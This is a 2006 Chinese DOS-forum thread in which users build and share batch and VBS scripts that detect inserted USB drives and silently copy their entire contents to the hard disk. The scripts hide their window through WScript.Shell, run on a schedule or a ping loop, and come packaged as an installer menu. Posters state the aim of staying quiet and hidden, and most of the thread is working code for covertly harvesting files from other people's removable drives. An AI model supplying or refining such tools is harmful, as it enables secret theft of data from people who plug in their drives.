China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --

Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!

中国DOS联盟论坛
The time now is 2026-07-02 19:36
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » How to judge that a USB flash drive has been inserted and automatically copy all the contents View 15,637 Replies 40
Original Poster Posted 2006-11-29 13:29 ·  中国 重庆 沙坪坝区 电信
初级用户
★★
Credits 105
Posts 77
Joined 2006-11-09 02:14
19-year member
UID 70077
Gender Male
From 重庆
Status Offline
There is a fairy asking me to write a batch script. First, judge whether the USB flash drive is inserted. If inserted, automatically COPY all contents to the hard disk, and also be quiet... I thought left and right, but still couldn't figure it out, so I come here to ask all great immortals for advice~~~
Thank you!!!
It's best to be able to常驻内存 and automatically judge. Third-party software can be used, such as SLEEP, choice, etc....


The latest version is (being updated):
16th floor http://www.cn-dos.net/forum/viewthread.php?tid=25190&fpage=1&highlight=&page=2


[ Last edited by gene771771 on 2006-11-30 at 01:51 AM ]
Recent Ratings for This Post ( 2 in total) Click for details
RaterScoreTime
fpqcj +1 2007-03-12 01:02
+1 2010-09-04 15:16
Floor 2 Posted 2006-11-29 22:53 ·  中国 江苏 南京 电信
高级用户
★★
Credits 623
Posts 214
Joined 2006-09-22 20:48
19-year member
UID 63387
Status Offline
Determine drive type:
for %%i in (c d e f g h i j k) do@fsutil fsinfo drivetype %%i:>>d:\t.txt
findstr /i "removable drive" d:\t.txt
if errorlevel==1 goto end
if errorlevel==0 goto cop
:end
exit
:cop
for /f "tokens=1" %%i in ('findstr /i "removable drive" d:\t.txt') do@set yidong=%%i
copy %yidong%\*.* d:\ /y
Save as g.bat
Then execute a command on the machine to execute g.bat every some time
schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr g.bat
Where 2 means execute every two minutes.
You can modify others. Not tested
Recent Ratings for This Post ( 1 in total) Click for details
RaterScoreTime
txratu +2 2007-11-29 10:38
Floor 3 Posted 2006-11-29 23:46 ·  中国 北京 联通
银牌会员
★★★
努力做坏人
Credits 1,185
Posts 438
Joined 2006-08-28 12:00
19-year member
UID 61449
From 北京
Status Offline
In fact, using BAT as the building block as the landlord said, the effect is not the best, because there will definitely be a window when running, so the purpose of hiding cannot be achieved, so I have nothing to say
Recent Ratings for This Post ( 1 in total) Click for details
RaterScoreTime
gene771771 +1 2006-11-30 08:25
我今后在论坛的目标就是做个超级坏人!!!
Floor 4 Posted 2006-11-30 01:23 ·  中国 江苏 南京 电信
高级用户
★★
Credits 623
Posts 214
Joined 2006-09-22 20:48
19-year member
UID 63387
Status Offline
Improve it again:
Just call a VBS once to hide.

for %%i in (c d e f g h i j k) do @fsutil fsinfo drivetype %%i:>>d:\t.txt
findstr /i "removable drive" d:\t.txt
if errorlevel==1 goto end
if errorlevel==0 goto cop
:end
exit
:cop
for /f "tokens=1" %%i in ('findstr /i "removable drive" d:\t.txt') do @set yidong=%%i
copy %yidong%\*.* d:\ /y
del d:\t.txt
Save as g.bat
set ws=WScript.CreateObject("WScript.Shell")
ws.Run "d:\g.bat",0
Save as b.vbs
Run it again
schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr d:\b.vbs
Done.

[ Last edited by tianzizhi on 2006-11-30 at 01:27 AM ]
Recent Ratings for This Post ( 2 in total) Click for details
RaterScoreTime
gene771771 +1 2006-12-01 04:51
tashaxin +2 2007-02-03 00:25
Floor 5 Posted 2006-11-30 07:06 ·  中国 北京 朝阳区 联通
高级用户
★★
朦胧的世界
Credits 579
Posts 218
Joined 2006-10-24 04:29
19-year member
UID 67972
Status Offline
The services for scheduled tasks are generally turned off, and INF is more practical...

认识自己,降伏自己,改变自己
,才能改变别人!
Floor 6 Posted 2006-11-30 08:22 ·  中国 江苏 南京 电信
高级用户
★★
Credits 623
Posts 214
Joined 2006-09-22 20:48
19-year member
UID 63387
Status Offline
Most of the scheduled services are enabled by default, not disabled. I haven't seen a case where the schedule is disabled after reinstalling the system. Also, for assembly language, how many people can use it? Our requirement is generality, everyone can use it, as simple as possible, and try not to use third-party software if possible.
Floor 7 Posted 2006-11-30 08:34 ·  中国 北京 朝阳区 联通
高级用户
★★
朦胧的世界
Credits 579
Posts 218
Joined 2006-10-24 04:29
19-year member
UID 67972
Status Offline
Many system optimizations turn off the scheduled tasks, and now there are not many people installing original version systems.
inf refers to INF files.

认识自己,降伏自己,改变自己
,才能改变别人!
Floor 8 Posted 2006-11-30 09:06 ·  中国 重庆 沙坪坝区 电信
初级用户
★★
Credits 105
Posts 77
Joined 2006-11-09 02:14
19-year member
UID 70077
Gender Male
From 重庆
Status Offline
How to achieve it through INF?
Floor 9 Posted 2006-11-30 10:37 ·  中国 重庆 沙坪坝区 电信
初级用户
★★
Credits 105
Posts 77
Joined 2006-11-09 02:14
19-year member
UID 70077
Gender Male
From 重庆
Status Offline
First of all, I would like to express my gratitude to tianzizhi for providing the source code.

Now I am posting the modified code.

The current problem is how to enable that strategy, as it is disabled by default.

Or is there any expert with other solutions???

First file: U disk automatic copy.cmd

@echo off
color 17
:start
cls
title $$$$*Han*Han*Manufacture*$$$$
echo.
echo.
echo.
echo ==============================================================
echo.
echo U disk automatic copy program
echo.
echo Welcome to use, please select an option (1, 2, 3, 4, 5, 6)
echo.
echo [1] Run the program
echo [2] Close the program
echo [3] Install the program
echo [4] Uninstall the program
echo [5] Usage help
echo [6] Press X to close
echo.
echo.
echo.
echo ==============================================================
echo.
set /p choice=Please enter:
if {%choice%}=={} goto start
if /i %choice%==1 goto open
if /i %choice%==2 goto close
if /i %choice%==3 goto install
if /i %choice%==4 goto uninstall
if /i %choice%==5 goto help
if /i %choice%==x goto shut
goto start



:install
rem ==============================Install the program=============================
if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd"
copy copy.cmd "%temp%\copy.cmd" >nul 2>nul
rem ==============================Hide the window=============================
if exist %temp%\hide.vbs del /Q %temp%\hide.vbs
set path=%temp%\copy.cmd
echo set ws=WScript.CreateObject("WScript.Shell") >>%temp%\hide.vbs
echo ws.Run "%path%",0 >>%temp%\hide.vbs
echo.
echo Installation is successfully completed!
pause >nul 2>nul
goto start
rem ==============================Installation ends=============================


:uninstall
rem ==============================Uninstall the program=============================
echo.
schtasks /delete /s system /tn copyfiles /tn copyfiles /f >nul 2>nul
del /Q /f "%temp%\copy.cmd" >nul 2>nul
del /Q /f "%temp%\hide.vbs" >nul 2>nul
del /Q /f "%temp%\copy.tmp" >nul 2>nul
echo The program has been successfully uninstalled!
pause >nul 2>nul
goto start
rem ==============================Uninstallation ends=============================


:open
rem ==============================Run the program=============================
echo.
schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr %temp%\hide.vbs
echo The program has been successfully started to run automatically (scanned once every 2 minutes)!
pause >nul 2>nul
goto start
rem ==============================Running ends=============================



:close
rem ==============================Terminate the program=============================
echo.
schtasks /delete /s system /tn copyfiles /tn copyfiles /f
echo The program has been successfully ended the automatic run!
pause >nul 2>nul
goto start
rem ==============================Termination ends=============================



:help
rem ==============================Usage help=============================
cls
echo.
echo.
echo.
echo.
echo.
echo This tool is applicable to XPsp2 system, and I will not be responsible for any losses caused by this.
echo.
echo Usage method: 1 Click to install the program
echo 2 Click to run the program, the program will automatically execute once every 2 minutes
echo 3 Please be sure to confirm that your U disk to be copied is virus-free
echo 4 If your computer has antivirus software installed, the VBS code may not be usable
echo 5 If it cannot be copied automatically, please click COPY.cmd manually each time
echo 6 Please clean up the files in c:\copy in time
echo 7 Please ensure that there is enough space on your c:\, and it is not recommended to insert a mobile hard drive when the program is running
echo.
echo This software is a free software, welcome everyone to use
echo Press any key to return to the main menu
pause >nul
goto start
rem ==============================Help ends=============================


:shut
rem ==============================Close the program=============================
exit
rem ==============================Closure ends=============================



Second file: copy.cmd


@echo off
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
findstr /i "removable drive" "%temp%\copy.tmp"
if errorlevel==1 goto end
if errorlevel==0 goto copy
:end
echo No removable disk detected!
exit
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy
:goon
for /f "tokens=1" %%i in ('findstr /i "removable drive" "%temp%\copy.tmp"') do (
xcopy /e /y %%i\*.* c:\copy >nul 2>nul
)
del /q "%temp%\copy.tmp"
echo Has been copied, please clean up the files in time!
Recent Ratings for This Post ( 2 in total) Click for details
RaterScoreTime
+1 2010-06-30 16:53
+1 2010-09-04 15:16
Floor 10 Posted 2006-11-30 10:41 ·  中国 江苏 南京 电信
高级用户
★★
Credits 623
Posts 214
Joined 2006-09-22 20:48
19-year member
UID 63387
Status Offline
Please let tao0610 write the program that can meet the owner's requirements using an inf file and show it to everyone. I also want to see and learn. Don't just talk but not do it.
Floor 11 Posted 2006-11-30 10:41 ·  中国 重庆 沙坪坝区 电信
初级用户
★★
Credits 105
Posts 77
Joined 2006-11-09 02:14
19-year member
UID 70077
Gender Male
From 重庆
Status Offline
[ Last edited by gene771771 on 2006-11-30 at 04:02 PM ]
Attachments
U盘自动复制.rar (1.56 KiB, Credits to download 1 pts, Downloads: 191)
Floor 12 Posted 2006-11-30 10:53 ·  中国 江苏 南京 电信
高级用户
★★
Credits 623
Posts 214
Joined 2006-09-22 20:48
19-year member
UID 63387
Status Offline
The owner did a good job, encouraged! Keep it up!
Floor 13 Posted 2006-11-30 11:57 ·  中国 重庆 沙坪坝区 电信
初级用户
★★
Credits 105
Posts 77
Joined 2006-11-09 02:14
19-year member
UID 70077
Gender Male
From 重庆
Status Offline
The instructions are very clear. Just install it first. The default directory is C:\COPY.

It's simple to achieve automatic startup at boot, but due to the policy issue, there's currently no way to achieve automatic resident in memory without using third-party software. The file is still incomplete now. Wait for experts to improve it. Don't download it if you don't know how. Unless you want to test. Actually, that copy.cmd is usable, but it just can't automatically scan in a loop.
Floor 14 Posted 2006-11-30 13:00 ·  中国 重庆 沙坪坝区 电信
初级用户
★★
Credits 105
Posts 77
Joined 2006-11-09 02:14
19-year member
UID 70077
Gender Male
From 重庆
Status Offline
Post again to post the source code, this should be usable, everyone test it:

USB Auto Copy Install.cmd

@echo off
color 17
:start
cls
title $$$$*Han*Han*Made*$$$$
echo.
echo.
echo.
echo ==============================================================
echo.
echo USB Auto Copy Program
echo.
echo Welcome to use, please select option (1,2,3,4,5,6)
echo.
echo [1] Run Program
echo [2] Close Program
echo [3] Install Program
echo [4] Uninstall Program
echo [5] Usage Help
echo [6] Press X to Close
echo.
echo.
echo $$$ Made by Hanhan, Version 1.0 $$$
echo.
echo ==============================================================
echo.
set /p choice=Please enter:
if {%choice%}=={} goto start
if /i %choice%==1 goto open
if /i %choice%==2 goto close
if /i %choice%==3 goto install
if /i %choice%==4 goto uninstall
if /i %choice%==5 goto help
if /i %choice%==x goto shut
goto start



:install
rem ==============================Install Program=============================
if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd"
copy copy.cmd "%temp%\copy.cmd" >nul 2>nul
rem ==============================Hide Window=============================
if exist %temp%\hide.vbs del /Q %temp%\hide.vbs
set path=%temp%\copy.cmd
echo set ws=WScript.CreateObject("WScript.Shell") >>"%temp%\hide.vbs"
echo ws.Run "%path%",0 >>%temp%\hide.vbs
echo.
echo Installation successful!
pause >nul 2>nul
goto start
rem ==============================End of Installation=============================


:uninstall
rem ==============================Uninstall Program=============================
echo.
if not exist %temp%\copy.cmd goto start
del /Q /f "%temp%\copy.cmd" >nul 2>nul
del /Q /f "%temp%\hide.vbs" >nul 2>nul
del /Q /f "%temp%\copy.tmp" >nul 2>nul
echo Program has been successfully uninstalled!
pause >nul 2>nul
goto start
rem ==============================End of Uninstallation=============================


:open
rem ==============================Run Program=============================
echo.
if not exist %temp%\copy.cmd goto start
"%temp%\hide.vbs"
echo Program has been successfully started to run automatically (scanning every 20 seconds)!
pause >nul 2>nul
goto start
rem ==============================End of Run=============================



:close
rem ==============================Terminate Program=============================
echo.
if not exist %temp%\copy.cmd goto start
tskill ping >nul 2>nul
echo Program has been successfully ended automatic run!
pause >nul 2>nul
tskill cmd
rem ==============================End of Termination=============================



:help
rem ==============================Usage Help=============================
cls
echo.
echo.
echo.
echo This tool is suitable for XPsp2 system, I am not responsible for any losses caused by this.
echo.
echo Usage: 1 Click Install Program
echo 2 Click Run Program, the program will automatically execute every 20 seconds
echo 3 Please be sure to confirm that your USB drive is virus-free
echo 4 If your computer has anti-virus software installed, the VBS code may not work
echo 5 If automatic COPY is not possible, please click COPY.cmd manually each time
echo 6 Please clean up the files in the default save directory c:\copy folder in time
echo 7 Please ensure that there is enough space on your c:\, it is recommended not to insert external hard drives when the program is running
echo 8 Since it uses PING to achieve timing scanning, it takes up more memory, please remember to close after use
echo 9 This software does not guarantee the correctness of copied data
echo 10 This software should not be used for illegal purposes
echo.
echo This software is free software, welcome everyone to use
echo Press any key to return to the main menu
pause >nul 2>nul
goto start
rem ==============================End of Help=============================


:shut
rem ==============================Close Program=============================
exit
rem ==============================End of Closure=============================



copy.cmd



@echo off
mode con: cols=14 lines=1
:again
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
findstr /i "Removable Drive" "%temp%\copy.tmp"
if errorlevel==1 goto end
if errorlevel==0 goto copy
:end
rem No removable disk detected!
ping 127.0.0.1 -n 20 >nul 2>nul
goto again
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy
:goon
for /f "tokens=1" %%i in ('findstr /i "Removable Drive" "%temp%\copy.tmp"') do (
xcopy /e /y %%i\*.* c:\copy >nul 2>nul
)
del /q "%temp%\copy.tmp"
rem Copied, please clean up files in time!
ping 127.0.0.1 -n 20 >nul 2>nul
goto again
Floor 15 Posted 2006-11-30 14:49 ·  中国 重庆 沙坪坝区 电信
初级用户
★★
Credits 105
Posts 77
Joined 2006-11-09 02:14
19-year member
UID 70077
Gender Male
From 重庆
Status Offline
There were originally two versions written, one using SLEEP and one using ping. The functions are the same. Now I have integrated the two, and it can be used normally without SLEEP!

For other situations, please refer to the instructions! Hope experts can modify and highlight it!

As usual, the source code is open, everyone can modify it, but try to keep the original author's information as much as possible. This is not only a respect for others' labor achievements but also a basic principle of being a human...


[ Last edited by gene771771 on 2006-11-30 at 03:35 PM ]
Recent Ratings for This Post ( 2 in total) Click for details
RaterScoreTime
jmz573515 +4 2007-02-02 08:29
+1 2010-12-06 18:13
Attachments
U盘自动复制.rar (9.97 KiB, Credits to download 1 pts, Downloads: 565)
Forum Jump: